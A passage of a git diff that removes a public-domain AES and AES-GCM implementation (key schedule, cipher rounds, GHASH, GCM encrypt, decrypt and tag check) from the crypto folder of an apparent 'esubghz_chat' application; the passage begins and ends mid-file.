RK += 6) { - RK[6] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[5] >> 8) & 0xFF]) ^ - ((uint32_t)FSb[(RK[5] >> 16) & 0xFF] << 8) ^ - ((uint32_t)FSb[(RK[5] >> 24) & 0xFF] << 16) ^ - ((uint32_t)FSb[(RK[5]) & 0xFF] << 24); - - RK[7] = RK[1] ^ RK[6]; - RK[8] = RK[2] ^ RK[7]; - RK[9] = RK[3] ^ RK[8]; - RK[10] = RK[4] ^ RK[9]; - RK[11] = RK[5] ^ RK[10]; - } - break; - - case 14: - for(i = 0; i < 7; i++, RK += 8) { - RK[8] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[7] >> 8) & 0xFF]) ^ - ((uint32_t)FSb[(RK[7] >> 16) & 0xFF] << 8) ^ - ((uint32_t)FSb[(RK[7] >> 24) & 0xFF] << 16) ^ - ((uint32_t)FSb[(RK[7]) & 0xFF] << 24); - - RK[9] = RK[1] ^ RK[8]; - RK[10] = RK[2] ^ RK[9]; - RK[11] = RK[3] ^ RK[10]; - - RK[12] = RK[4] ^ ((uint32_t)FSb[(RK[11]) & 0xFF]) ^ - ((uint32_t)FSb[(RK[11] >> 8) & 0xFF] << 8) ^ - ((uint32_t)FSb[(RK[11] >> 16) & 0xFF] << 16) ^ - ((uint32_t)FSb[(RK[11] >> 24) & 0xFF] << 24); - - RK[13] = RK[5] ^ RK[12]; - RK[14] = RK[6] ^ RK[13]; - RK[15] = RK[7] ^ RK[14]; - } - break; - - default: - return -1; - } - return (0); -} - -#if AES_DECRYPTION // whether AES decryption is supported - -/****************************************************************************** - * - * AES_SET_DECRYPTION_KEY - * - * This is called by 'aes_setkey' when we're establishing a - * key for subsequent decryption. We give it a pointer to - * the encryption context, a pointer to the key, and the key's - * length in bits. Valid lengths are: 128, 192, or 256 bits. - * - ******************************************************************************/ -int aes_set_decryption_key(aes_context* ctx, const uchar* key, uint keysize) { - int i, j; - aes_context cty; // a calling aes context for set_encryption_key - uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer - uint32_t* SK; - int ret; - - cty.rounds = ctx->rounds; // initialize our local aes context - cty.rk = cty.buf; // round count and key buf pointer - - if((ret = aes_set_encryption_key(&cty, key, keysize)) != 0) return (ret); - - SK = cty.rk + cty.rounds * 4; - - CPY128 // copy a 128-bit block from *SK to *RK - - for(i = ctx->rounds - 1, SK -= 8; i > 0; i--, SK -= 8) { - for(j = 0; j < 4; j++, SK++) { - *RK++ = RT0[FSb[(*SK) & 0xFF]] ^ RT1[FSb[(*SK >> 8) & 0xFF]] ^ - RT2[FSb[(*SK >> 16) & 0xFF]] ^ RT3[FSb[(*SK >> 24) & 0xFF]]; - } - } - CPY128 // copy a 128-bit block from *SK to *RK - memset(&cty, 0, sizeof(aes_context)); // clear local aes context - return (0); -} - -#endif /* AES_DECRYPTION */ - -/****************************************************************************** - * - * AES_SETKEY - * - * Invoked to establish the key schedule for subsequent encryption/decryption - * - ******************************************************************************/ -int aes_setkey( - aes_context* ctx, // AES context provided by our caller - int mode, // ENCRYPT or DECRYPT flag - const uchar* key, // pointer to the key - uint keysize) // key length in bytes -{ - // since table initialization is not thread safe, we could either add - // system-specific mutexes and init the AES key generation tables on - // demand, or ask the developer to simply call "gcm_initialize" once during - // application startup before threading begins. That's what we choose. - if(!aes_tables_inited) return (-1); // fail the call when not inited. - - ctx->mode = mode; // capture the key type we're creating - ctx->rk = ctx->buf; // initialize our round key pointer - - switch(keysize) // set the rounds count based upon the keysize - { - case 16: - ctx->rounds = 10; - break; // 16-byte, 128-bit key - case 24: - ctx->rounds = 12; - break; // 24-byte, 192-bit key - case 32: - ctx->rounds = 14; - break; // 32-byte, 256-bit key - default: - return (-1); - } - -#if AES_DECRYPTION - if(mode == DECRYPT) // expand our key for encryption or decryption - return (aes_set_decryption_key(ctx, key, keysize)); - else /* ENCRYPT */ -#endif /* AES_DECRYPTION */ - return (aes_set_encryption_key(ctx, key, keysize)); -} - -/****************************************************************************** - * - * AES_CIPHER - * - * Perform AES encryption and decryption. - * The AES context will have been setup with the encryption mode - * and all keying information appropriate for the task. - * - ******************************************************************************/ -int aes_cipher(aes_context* ctx, const uchar input[16], uchar output[16]) { - int i; - uint32_t *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; // general purpose locals - - RK = ctx->rk; - - GET_UINT32_LE(X0, input, 0); - X0 ^= *RK++; // load our 128-bit - GET_UINT32_LE(X1, input, 4); - X1 ^= *RK++; // input buffer in a storage - GET_UINT32_LE(X2, input, 8); - X2 ^= *RK++; // memory endian-neutral way - GET_UINT32_LE(X3, input, 12); - X3 ^= *RK++; - -#if AES_DECRYPTION // whether AES decryption is supported - - if(ctx->mode == DECRYPT) { - for(i = (ctx->rounds >> 1) - 1; i > 0; i--) { - AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); - AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); - } - - AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); - - X0 = *RK++ ^ ((uint32_t)RSb[(Y0)&0xFF]) ^ ((uint32_t)RSb[(Y3 >> 8) & 0xFF] << 8) ^ - ((uint32_t)RSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y1 >> 24) & 0xFF] << 24); - - X1 = *RK++ ^ ((uint32_t)RSb[(Y1)&0xFF]) ^ ((uint32_t)RSb[(Y0 >> 8) & 0xFF] << 8) ^ - ((uint32_t)RSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y2 >> 24) & 0xFF] << 24); - - X2 = *RK++ ^ ((uint32_t)RSb[(Y2)&0xFF]) ^ ((uint32_t)RSb[(Y1 >> 8) & 0xFF] << 8) ^ - ((uint32_t)RSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y3 >> 24) & 0xFF] << 24); - - X3 = *RK++ ^ ((uint32_t)RSb[(Y3)&0xFF]) ^ ((uint32_t)RSb[(Y2 >> 8) & 0xFF] << 8) ^ - ((uint32_t)RSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y0 >> 24) & 0xFF] << 24); - } else /* ENCRYPT */ - { -#endif /* AES_DECRYPTION */ - - for(i = (ctx->rounds >> 1) - 1; i > 0; i--) { - AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); - AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3); - } - - AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3); - - X0 = *RK++ ^ ((uint32_t)FSb[(Y0)&0xFF]) ^ ((uint32_t)FSb[(Y1 >> 8) & 0xFF] << 8) ^ - ((uint32_t)FSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y3 >> 24) & 0xFF] << 24); - - X1 = *RK++ ^ ((uint32_t)FSb[(Y1)&0xFF]) ^ ((uint32_t)FSb[(Y2 >> 8) & 0xFF] << 8) ^ - ((uint32_t)FSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y0 >> 24) & 0xFF] << 24); - - X2 = *RK++ ^ ((uint32_t)FSb[(Y2)&0xFF]) ^ ((uint32_t)FSb[(Y3 >> 8) & 0xFF] << 8) ^ - ((uint32_t)FSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y1 >> 24) & 0xFF] << 24); - - X3 = *RK++ ^ ((uint32_t)FSb[(Y3)&0xFF]) ^ ((uint32_t)FSb[(Y0 >> 8) & 0xFF] << 8) ^ - ((uint32_t)FSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y2 >> 24) & 0xFF] << 24); - -#if AES_DECRYPTION // whether AES decryption is supported - } -#endif /* AES_DECRYPTION */ - - PUT_UINT32_LE(X0, output, 0); - PUT_UINT32_LE(X1, output, 4); - PUT_UINT32_LE(X2, output, 8); - PUT_UINT32_LE(X3, output, 12); - - return (0); -} -/* end of aes.c */ diff --git a/applications/external/esubghz_chat/crypto/aes.h b/applications/external/esubghz_chat/crypto/aes.h deleted file mode 100644 index 3ffaa065b..000000000 --- a/applications/external/esubghz_chat/crypto/aes.h +++ /dev/null @@ -1,80 +0,0 @@ -/****************************************************************************** -* -* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL -* -* This is a simple and straightforward implementation of the AES Rijndael -* 128-bit block cipher designed by Vincent Rijmen and Joan Daemen. The focus -* of this work was correctness & accuracy. It is written in 'C' without any -* particular focus upon optimization or speed. It should be endian (memory -* byte order) neutral since the few places that care are handled explicitly. -* -* This implementation of Rijndael was created by Steven M. Gibson of GRC.com. -* -* It is intended for general purpose use, but was written in support of GRC's -* reference implementation of the SQRL (Secure Quick Reliable Login) client. -* -* See: http://csrc.nist.gov/archive/aes/rijndael/wsdindex.html -* -* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE -* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK. -* -*******************************************************************************/ - -#ifndef AES_HEADER -#define AES_HEADER - -/******************************************************************************/ -#define AES_DECRYPTION 0 // whether AES decryption is supported -/******************************************************************************/ - -#include - -#define ENCRYPT 1 // specify whether we're encrypting -#define DECRYPT 0 // or decrypting - -#if defined(_MSC_VER) -#include -typedef UINT32 uint32_t; -#else -#include -#endif - -typedef unsigned char uchar; // add some convienent shorter types -typedef unsigned int uint; - -/****************************************************************************** - * AES_INIT_KEYGEN_TABLES : MUST be called once before any AES use - ******************************************************************************/ -void aes_init_keygen_tables(void); - -/****************************************************************************** - * AES_CONTEXT : cipher context / holds inter-call data - ******************************************************************************/ -typedef struct { - int mode; // 1 for Encryption, 0 for Decryption - int rounds; // keysize-based rounds count - uint32_t* rk; // pointer to current round key - uint32_t buf[68]; // key expansion buffer -} aes_context; - -/****************************************************************************** - * AES_SETKEY : called to expand the key for encryption or decryption - ******************************************************************************/ -int aes_setkey( - aes_context* ctx, // pointer to context - int mode, // 1 or 0 for Encrypt/Decrypt - const uchar* key, // AES input key - uint keysize); // size in bytes (must be 16, 24, 32 for -// 128, 192 or 256-bit keys respectively) -// returns 0 for success - -/****************************************************************************** - * AES_CIPHER : called to encrypt or decrypt ONE 128-bit block of data - ******************************************************************************/ -int aes_cipher( - aes_context* ctx, // pointer to context - const uchar input[16], // 128-bit block to en/decipher - uchar output[16]); // 128-bit output result block -// returns 0 for success - -#endif /* AES_HEADER */ diff --git a/applications/external/esubghz_chat/crypto/gcm.c b/applications/external/esubghz_chat/crypto/gcm.c deleted file mode 100644 index c5aad7aa4..000000000 --- a/applications/external/esubghz_chat/crypto/gcm.c +++ /dev/null @@ -1,516 +0,0 @@ -/****************************************************************************** -* -* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL -* -* This is a simple and straightforward implementation of AES-GCM authenticated -* encryption. The focus of this work was correctness & accuracy. It is written -* in straight 'C' without any particular focus upon optimization or speed. It -* should be endian (memory byte order) neutral since the few places that care -* are handled explicitly. -* -* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com. -* -* It is intended for general purpose use, but was written in support of GRC's -* reference implementation of the SQRL (Secure Quick Reliable Login) client. -* -* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf -* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/ -* gcm/gcm-revised-spec.pdf -* -* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE -* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK. -* -*******************************************************************************/ - -#include "gcm.h" -#include "aes.h" - -/****************************************************************************** - * ==== IMPLEMENTATION WARNING ==== - * - * This code was developed for use within SQRL's fixed environmnent. Thus, it - * is somewhat less "general purpose" than it would be if it were designed as - * a general purpose AES-GCM library. Specifically, it bothers with almost NO - * error checking on parameter limits, buffer bounds, etc. It assumes that it - * is being invoked by its author or by someone who understands the values it - * expects to receive. Its behavior will be undefined otherwise. - * - * All functions that might fail are defined to return 'ints' to indicate a - * problem. Most do not do so now. But this allows for error propagation out - * of internal functions if robust error checking should ever be desired. - * - ******************************************************************************/ - -/* Calculating the "GHASH" - * - * There are many ways of calculating the so-called GHASH in software, each with - * a traditional size vs performance tradeoff. The GHASH (Galois field hash) is - * an intriguing construction which takes two 128-bit strings (also the cipher's - * block size and the fundamental operation size for the system) and hashes them - * into a third 128-bit result. - * - * Many implementation solutions have been worked out that use large precomputed - * table lookups in place of more time consuming bit fiddling, and this approach - * can be scaled easily upward or downward as needed to change the time/space - * tradeoff. It's been studied extensively and there's a solid body of theory and - * practice. For example, without using any lookup tables an implementation - * might obtain 119 cycles per byte throughput, whereas using a simple, though - * large, key-specific 64 kbyte 8-bit lookup table the performance jumps to 13 - * cycles per byte. - * - * And Intel's processors have, since 2010, included an instruction which does - * the entire 128x128->128 bit job in just several 64x64->128 bit pieces. - * - * Since SQRL is interactive, and only processing a few 128-bit blocks, I've - * settled upon a relatively slower but appealing small-table compromise which - * folds a bunch of not only time consuming but also bit twiddling into a simple - * 16-entry table which is attributed to Victor Shoup's 1996 work while at - * Bellcore: "On Fast and Provably Secure MessageAuthentication Based on - * Universal Hashing." See: http://www.shoup.net/papers/macs.pdf - * See, also section 4.1 of the "gcm-revised-spec" cited above. - */ - -/* - * This 16-entry table of pre-computed constants is used by the - * GHASH multiplier to improve over a strictly table-free but - * significantly slower 128x128 bit multiple within GF(2^128). - */ -static const uint64_t last4[16] = { - 0x0000, - 0x1c20, - 0x3840, - 0x2460, - 0x7080, - 0x6ca0, - 0x48c0, - 0x54e0, - 0xe100, - 0xfd20, - 0xd940, - 0xc560, - 0x9180, - 0x8da0, - 0xa9c0, - 0xb5e0}; - -/* - * Platform Endianness Neutralizing Load and Store Macro definitions - * GCM wants platform-neutral Big Endian (BE) byte ordering - */ -#define GET_UINT32_BE(n, b, i) \ - { \ - (n) = ((uint32_t)(b)[(i)] << 24) | ((uint32_t)(b)[(i) + 1] << 16) | \ - ((uint32_t)(b)[(i) + 2] << 8) | ((uint32_t)(b)[(i) + 3]); \ - } - -#define PUT_UINT32_BE(n, b, i) \ - { \ - (b)[(i)] = (uchar)((n) >> 24); \ - (b)[(i) + 1] = (uchar)((n) >> 16); \ - (b)[(i) + 2] = (uchar)((n) >> 8); \ - (b)[(i) + 3] = (uchar)((n)); \ - } - -/****************************************************************************** - * - * GCM_INITIALIZE - * - * Must be called once to initialize the GCM library. - * - * At present, this only calls the AES keygen table generator, which expands - * the AES keying tables for use. This is NOT A THREAD-SAFE function, so it - * MUST be called during system initialization before a multi-threading - * environment is running. - * - ******************************************************************************/ -int gcm_initialize(void) { - aes_init_keygen_tables(); - return (0); -} - -/****************************************************************************** - * - * GCM_MULT - * - * Performs a GHASH operation on the 128-bit input vector 'x', setting - * the 128-bit output vector to 'x' times H using our precomputed tables. - * 'x' and 'output' are seen as elements of GCM's GF(2^128) Galois field. - * - ******************************************************************************/ -static void gcm_mult( - gcm_context* ctx, // pointer to established context - const uchar x[16], // pointer to 128-bit input vector - uchar output[16]) // pointer to 128-bit output vector -{ - int i; - uchar lo, hi, rem; - uint64_t zh, zl; - - lo = (uchar)(x[15] & 0x0f); - hi = (uchar)(x[15] >> 4); - zh = ctx->HH[lo]; - zl = ctx->HL[lo]; - - for(i = 15; i >= 0; i--) { - lo = (uchar)(x[i] & 0x0f); - hi = (uchar)(x[i] >> 4); - - if(i != 15) { - rem = (uchar)(zl & 0x0f); - zl = (zh << 60) | (zl >> 4); - zh = (zh >> 4); - zh ^= (uint64_t)last4[rem] << 48; - zh ^= ctx->HH[lo]; - zl ^= ctx->HL[lo]; - } - rem = (uchar)(zl & 0x0f); - zl = (zh << 60) | (zl >> 4); - zh = (zh >> 4); - zh ^= (uint64_t)last4[rem] << 48; - zh ^= ctx->HH[hi]; - zl ^= ctx->HL[hi]; - } - PUT_UINT32_BE(zh >> 32, output, 0); - PUT_UINT32_BE(zh, output, 4); - PUT_UINT32_BE(zl >> 32, output, 8); - PUT_UINT32_BE(zl, output, 12); -} - -/****************************************************************************** - * - * GCM_SETKEY - * - * This is called to set the AES-GCM key. It initializes the AES key - * and populates the gcm context's pre-calculated HTables. - * - ******************************************************************************/ -int gcm_setkey( - gcm_context* ctx, // pointer to caller-provided gcm context - const uchar* key, // pointer to the AES encryption key - const uint keysize) // size in bytes (must be 16, 24, 32 for -// 128, 192 or 256-bit keys respectively) -{ - int ret, i, j; - uint64_t hi, lo; - uint64_t vl, vh; - unsigned char h[16]; - - memset(ctx, 0, sizeof(gcm_context)); // zero caller-provided GCM context - memset(h, 0, 16); // initialize the block to encrypt - - // encrypt the null 128-bit block to generate a key-based value - // which is then used to initialize our GHASH lookup tables - if((ret = aes_setkey(&ctx->aes_ctx, ENCRYPT, key, keysize)) != 0) return (ret); - if((ret = aes_cipher(&ctx->aes_ctx, h, h)) != 0) return (ret); - - GET_UINT32_BE(hi, h, 0); // pack h as two 64-bit ints, big-endian - GET_UINT32_BE(lo, h, 4); - vh = (uint64_t)hi << 32 | lo; - - GET_UINT32_BE(hi, h, 8); - GET_UINT32_BE(lo, h, 12); - vl = (uint64_t)hi << 32 | lo; - - ctx->HL[8] = vl; // 8 = 1000 corresponds to 1 in GF(2^128) - ctx->HH[8] = vh; - ctx->HH[0] = 0; // 0 corresponds to 0 in GF(2^128) - ctx->HL[0] = 0; - - for(i = 4; i > 0; i >>= 1) { - uint32_t T = (uint32_t)(vl & 1) * 0xe1000000U; - vl = (vh << 63) | (vl >> 1); - vh = (vh >> 1) ^ ((uint64_t)T << 32); - ctx->HL[i] = vl; - ctx->HH[i] = vh; - } - for(i = 2; i < 16; i <<= 1) { - uint64_t *HiL = ctx->HL + i, *HiH = ctx->HH + i; - vh = *HiH; - vl = *HiL; - for(j = 1; j < i; j++) { - HiH[j] = vh ^ ctx->HH[j]; - HiL[j] = vl ^ ctx->HL[j]; - } - } - return (0); -} - -/****************************************************************************** - * - * GCM processing occurs four phases: SETKEY, START, UPDATE and FINISH. - * - * SETKEY: - * - * START: Sets the Encryption/Decryption mode. - * Accepts the initialization vector and additional data. - * - * UPDATE: Encrypts or decrypts the plaintext or ciphertext. - * - * FINISH: Performs a final GHASH to generate the authentication tag. - * - ****************************************************************************** - * - * GCM_START - * - * Given a user-provided GCM context, this initializes it, sets the encryption - * mode, and preprocesses the initialization vector and additional AEAD data. - * - ******************************************************************************/ -int gcm_start( - gcm_context* ctx, // pointer to user-provided GCM context - int mode, // GCM_ENCRYPT or GCM_DECRYPT - const uchar* iv, // pointer to initialization vector - size_t iv_len, // IV length in bytes (should == 12) - const uchar* add, // ptr to additional AEAD data (NULL if none) - size_t add_len) // length of additional AEAD data (bytes) -{ - int ret; // our error return if the AES encrypt fails - uchar work_buf[16]; // XOR source built from provided IV if len != 16 - const uchar* p; // general purpose array pointer - size_t use_len; // byte count to process, up to 16 bytes - size_t i; // local loop iterator - - // since the context might be reused under the same key - // we zero the working buffers for this next new process - memset(ctx->y, 0x00, sizeof(ctx->y)); - memset(ctx->buf, 0x00, sizeof(ctx->buf)); - ctx->len = 0; - ctx->add_len = 0; - - ctx->mode = mode; // set the GCM encryption/decryption mode - ctx->aes_ctx.mode = ENCRYPT; // GCM *always* runs AES in ENCRYPTION mode - - if(iv_len == 12) { // GCM natively uses a 12-byte, 96-bit IV - memcpy(ctx->y, iv, iv_len); // copy the IV to the top of the 'y' buff - ctx->y[15] = 1; // start "counting" from 1 (not 0) - } else // if we don't have a 12-byte IV, we GHASH whatever we've been given - { - memset(work_buf, 0x00, 16); // clear the working buffer - PUT_UINT32_BE(iv_len * 8, work_buf, 12); // place the IV into buffer - - p = iv; - while(iv_len > 0) { - use_len = (iv_len < 16) ? iv_len : 16; - for(i = 0; i < use_len; i++) ctx->y[i] ^= p[i]; - gcm_mult(ctx, ctx->y, ctx->y); - iv_len -= use_len; - p += use_len; - } - for(i = 0; i < 16; i++) ctx->y[i] ^= work_buf[i]; - gcm_mult(ctx, ctx->y, ctx->y); - } - if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ctx->base_ectr)) != 0) return (ret); - - ctx->add_len = add_len; - p = add; - while(add_len > 0) { - use_len = (add_len < 16) ? add_len : 16; - for(i = 0; i < use_len; i++) ctx->buf[i] ^= p[i]; - gcm_mult(ctx, ctx->buf, ctx->buf); - add_len -= use_len; - p += use_len; - } - return (0); -} - -/****************************************************************************** - * - * GCM_UPDATE - * - * This is called once or more to process bulk plaintext or ciphertext data. - * We give this some number of bytes of input and it returns the same number - * of output bytes. If called multiple times (which is fine) all but the final - * invocation MUST be called with length mod 16 == 0. (Only the final call can - * have a partial block length of < 128 bits.) - * - ******************************************************************************/ -int gcm_update( - gcm_context* ctx, // pointer to user-provided GCM context - size_t length, // length, in bytes, of data to process - const uchar* input, // pointer to source data - uchar* output) // pointer to destination data -{ - int ret; // our error return if the AES encrypt fails - uchar ectr[16]; // counter-mode cipher output for XORing - size_t use_len; // byte count to process, up to 16 bytes - size_t i; // local loop iterator - - ctx->len += length; // bump the GCM context's running length count - - while(length > 0) { - // clamp the length to process at 16 bytes - use_len = (length < 16) ? length : 16; - - // increment the context's 128-bit IV||Counter 'y' vector - for(i = 16; i > 12; i--) - if(++ctx->y[i - 1] != 0) break; - - // encrypt the context's 'y' vector under the established key - if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ectr)) != 0) return (ret); - - // encrypt or decrypt the input to the output - if(ctx->mode == ENCRYPT) { - for(i = 0; i < use_len; i++) { - // XOR the cipher's ouptut vector (ectr) with our input - output[i] = (uchar)(ectr[i] ^ input[i]); - // now we mix in our data into the authentication hash. - // if we're ENcrypting we XOR in the post-XOR (output) - // results, but if we're DEcrypting we XOR in the input - // data - ctx->buf[i] ^= output[i]; - } - } else { - for(i = 0; i < use_len; i++) { - // but if we're DEcrypting we XOR in the input data first, - // i.e. before saving to ouput data, otherwise if the input - // and output buffer are the same (inplace decryption) we - // would not get the correct auth tag - - ctx->buf[i] ^= input[i]; - - // XOR the cipher's ouptut vector (ectr) with our input - output[i] = (uchar)(ectr[i] ^ input[i]); - } - } - gcm_mult(ctx, ctx->buf, ctx->buf); // perform a GHASH operation - - length -= use_len; // drop the remaining byte count to process - input += use_len; // bump our input pointer forward - output += use_len; // bump our output pointer forward - } - return (0); -} - -/****************************************************************************** - * - * GCM_FINISH - * - * This is called once after all calls to GCM_UPDATE to finalize the GCM. - * It performs the final GHASH to produce the resulting authentication TAG. - * - ******************************************************************************/ -int gcm_finish( - gcm_context* ctx, // pointer to user-provided GCM context - uchar* tag, // pointer to buffer which receives the tag - size_t tag_len) // length, in bytes, of the tag-receiving buf -{ - uchar work_buf[16]; - uint64_t orig_len = ctx->len * 8; - uint64_t orig_add_len = ctx->add_len * 8; - size_t i; - - if(tag_len != 0) memcpy(tag, ctx->base_ectr, tag_len); - - if(orig_len || orig_add_len) { - memset(work_buf, 0x00, 16); - - PUT_UINT32_BE((orig_add_len >> 32), work_buf, 0); - PUT_UINT32_BE((orig_add_len), work_buf, 4); - PUT_UINT32_BE((orig_len >> 32), work_buf, 8); - PUT_UINT32_BE((orig_len), work_buf, 12); - - for(i = 0; i < 16; i++) ctx->buf[i] ^= work_buf[i]; - gcm_mult(ctx, ctx->buf, ctx->buf); - for(i = 0; i < tag_len; i++) tag[i] ^= ctx->buf[i]; - } - return (0); -} - -/****************************************************************************** - * - * GCM_CRYPT_AND_TAG - * - * This either encrypts or decrypts the user-provided data and, either - * way, generates an authentication tag of the requested length. It must be - * called with a GCM context whose key has already been set with GCM_SETKEY. - * - * The user would typically call this explicitly to ENCRYPT a buffer of data - * and optional associated data, and produce its an authentication tag. - * - * To reverse the process the user would typically call the companion - * GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided - * authentication tag. The GCM_AUTH_DECRYPT function calls this function - * to perform its decryption and tag generation, which it then compares. - * - ******************************************************************************/ -int gcm_crypt_and_tag( - gcm_context* ctx, // gcm context with key already setup - int mode, // cipher direction: GCM_ENCRYPT or GCM_DECRYPT - const uchar* iv, // pointer to the 12-byte initialization vector - size_t iv_len, // byte length if the IV. should always be 12 - const uchar* add, // pointer to the non-ciphered additional data - size_t add_len, // byte length of the additional AEAD data - const uchar* input, // pointer to the cipher data source - uchar* output, // pointer to the cipher data destination - size_t length, // byte length of the cipher data - uchar* tag, // pointer to the tag to be generated - size_t tag_len) // byte length of the tag to be generated -{ /* - assuming that the caller has already invoked gcm_setkey to - prepare the gcm context with the keying material, we simply - invoke each of the three GCM sub-functions in turn... - */ - gcm_start(ctx, mode, iv, iv_len, add, add_len); - gcm_update(ctx, length, input, output); - gcm_finish(ctx, tag, tag_len); - return (0); -} - -/****************************************************************************** - * - * GCM_AUTH_DECRYPT - * - * This DECRYPTS a user-provided data buffer with optional associated data. - * It then verifies a user-supplied authentication tag against the tag just - * re-created during decryption to verify that the data has not been altered. - * - * This function calls GCM_CRYPT_AND_TAG (above) to perform the decryption - * and authentication tag generation. - * - ******************************************************************************/ -int gcm_auth_decrypt( - gcm_context* ctx, // gcm context with key already setup - const uchar* iv, // pointer to the 12-byte initialization vector - size_t iv_len, // byte length if the IV. should always be 12 - const uchar* add, // pointer to the non-ciphered additional data - size_t add_len, // byte length of the additional AEAD data - const uchar* input, // pointer to the cipher data source - uchar* output, // pointer to the cipher data destination - size_t length, // byte length of the cipher data - const uchar* tag, // pointer to the tag to be authenticated - size_t tag_len) // byte length of the tag <= 16 -{ - uchar check_tag[16]; // the tag generated and returned by decryption - int diff; // an ORed flag to detect authentication errors - size_t i; // our local iterator - /* - we use GCM_DECRYPT_AND_TAG (above) to perform our decryption - (which is an identical XORing to reverse the previous one) - and also to re-generate the matching authentication tag - */ - gcm_crypt_and_tag( - ctx, DECRYPT, iv, iv_len, add, add_len, input, output, length, check_tag, tag_len); - - // now we verify the authentication tag in 'constant time' - for(diff = 0, i = 0; i < tag_len; i++) diff |= tag[i] ^ check_tag[i]; - - if(diff != 0) { // see whether any bits differed? - memset(output, 0, length); // if so... wipe the output data - return (GCM_AUTH_FAILURE); // return GCM_AUTH_FAILURE - } - return (0); -} - -/****************************************************************************** - * - * GCM_ZERO_CTX - * - * The GCM context contains both the GCM context and the AES context. - * This includes keying and key-related material which is security- - * sensitive, so it MUST be zeroed after use. This function does that. - * - ******************************************************************************/ -void gcm_zero_ctx(gcm_context* ctx) { - // zero the context originally provided to us - memset(ctx, 0, sizeof(gcm_context)); -} diff --git a/applications/external/esubghz_chat/crypto/gcm.h b/applications/external/esubghz_chat/crypto/gcm.h deleted file mode 100644 index 9a3e47052..000000000 --- a/applications/external/esubghz_chat/crypto/gcm.h +++ /dev/null @@ -1,181 +0,0 @@ -/****************************************************************************** -* -* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL -* -* This is a simple and straightforward implementation of AES-GCM authenticated -* encryption. The focus of this work was correctness & accuracy. It is written -* in straight 'C' without any particular focus upon optimization or speed. It -* should be endian (memory byte order) neutral since the few places that care -* are handled explicitly. -* -* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com. -* -* It is intended for general purpose use, but was written in support of GRC's -* reference implementation of the SQRL (Secure Quick Reliable Login) client. -* -* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf -* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/ \ -* gcm/gcm-revised-spec.pdf -* -* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE -* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK. -* -*******************************************************************************/ -#ifndef GCM_HEADER -#define GCM_HEADER - -#define GCM_AUTH_FAILURE 0x55555555 // authentication failure - -#include "aes.h" // gcm_context includes aes_context - -#if defined(_MSC_VER) -#include -typedef unsigned int size_t; // use the right type for length declarations -typedef UINT32 uint32_t; -typedef UINT64 uint64_t; -#else -#include -#endif - -/****************************************************************************** - * GCM_CONTEXT : GCM context / holds keytables, instance data, and AES ctx - ******************************************************************************/ -typedef struct { - int mode; // cipher direction: encrypt/decrypt - uint64_t len; // cipher data length processed so far - uint64_t add_len; // total add data length - uint64_t HL[16]; // precalculated lo-half HTable - uint64_t HH[16]; // precalculated hi-half HTable - uchar base_ectr[16]; // first counter-mode cipher output for tag - uchar y[16]; // the current cipher-input IV|Counter value - uchar buf[16]; // buf working value - aes_context aes_ctx; // cipher context used -} gcm_context; - -/****************************************************************************** - * GCM_CONTEXT : MUST be called once before ANY use of this library - ******************************************************************************/ -int gcm_initialize(void); - -/****************************************************************************** - * GCM_SETKEY : sets the GCM (and AES) keying material for use - ******************************************************************************/ -int gcm_setkey( - gcm_context* ctx, // caller-provided context ptr - const uchar* key, // pointer to cipher key - const uint keysize // size in bytes (must be 16, 24, 32 for - // 128, 192 or 256-bit keys respectively) -); // returns 0 for success - -/****************************************************************************** - * - * GCM_CRYPT_AND_TAG - * - * This either encrypts or decrypts the user-provided data and, either - * way, generates an authentication tag of the requested length. It must be - * called with a GCM context whose key has already been set with GCM_SETKEY. - * - * The user would typically call this explicitly to ENCRYPT a buffer of data - * and optional associated data, and produce its an authentication tag. - * - * To reverse the process the user would typically call the companion - * GCM_AUTH_DECRYPT function to decrypt data and verify a user-provided - * authentication tag. The GCM_AUTH_DECRYPT function calls this function - * to perform its decryption and tag generation, which it then compares. - * - ******************************************************************************/ -int gcm_crypt_and_tag( - gcm_context* ctx, // gcm context with key 